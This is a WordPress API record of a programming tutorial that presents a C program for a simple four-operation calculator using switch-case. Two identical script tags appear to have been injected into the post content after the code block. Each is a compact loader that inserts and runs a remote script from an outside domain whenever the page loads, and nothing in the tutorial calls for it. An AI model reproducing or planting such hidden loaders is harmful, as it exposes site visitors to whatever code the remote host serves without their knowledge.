{"id":339,"date":"2024-10-01T08:28:28","date_gmt":"2024-10-01T02:58:28","guid":{"rendered":"http:\/\/codexplained.in\/?p=339"},"modified":"2025-11-24T16:07:42","modified_gmt":"2025-11-24T10:37:42","slug":"program-to-implement-a-simple-calculator-using-switch-case","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=339","title":{"rendered":"Program to Implement a Simple Calculator Using switch-case"},"content":{"rendered":"\n<ol class=\"wp-block-list\">\n<li>Users of this program can carry out addition, subtraction, multiplication, and division, among other fundamental arithmetic operations.<\/li>\n\n\n\n<li> Two numbers will be entered by the user, who will also select an operation by typing a symbol (+, -, *, \/).<\/li>\n\n\n\n<li>To carry out the action in accordance with the user&#8217;s selection, we&#8217;ll employ a switch-case statement.<\/li>\n<\/ol>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n\nint main() {\n    float num1, num2, result;\n    char operator;\n\n    \/\/ Asking user for the first number\n    printf(&quot;Enter first number: &quot;);\n    scanf(&quot;%f&quot;, &amp;num1);\n    \n    \/\/ Asking user for the second number\n    printf(&quot;Enter second number: &quot;);\n    scanf(&quot;%f&quot;, &amp;num2);\n    \n    \/\/ Asking user for the operation they want to perform\n    printf(&quot;Enter operator (+, -, *, \/): &quot;);\n    scanf(&quot; %c&quot;, &amp;operator);\n\n    \/\/ Performing the chosen operation\n    switch (operator) {\n        case &#039;+&#039;:\n            result = num1 + num2;\n            break;\n        case &#039;-&#039;:\n            result = num1 - num2;\n            break;\n        case &#039;*&#039;:\n            result = num1 * num2;\n            break;\n        case &#039;\/&#039;:\n            result = num1 \/ num2;\n            break;\n        default:\n            printf(&quot;Invalid operator\\n&quot;);\n            return 1;\n    }\n\n    \/\/ Displaying the result\n    printf(&quot;Result: %.2f\\n&quot;, result);\n    return 0;\n}\n\n<\/pre><\/div><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"","protected":false},"author":13,"featured_media":345,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-339","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/339","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/13"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=339"}],"version-history":[{"count":4,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/339\/revisions"}],"predecessor-version":[{"id":1498,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/339\/revisions\/1498"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/345"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=339"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=339"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=339"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}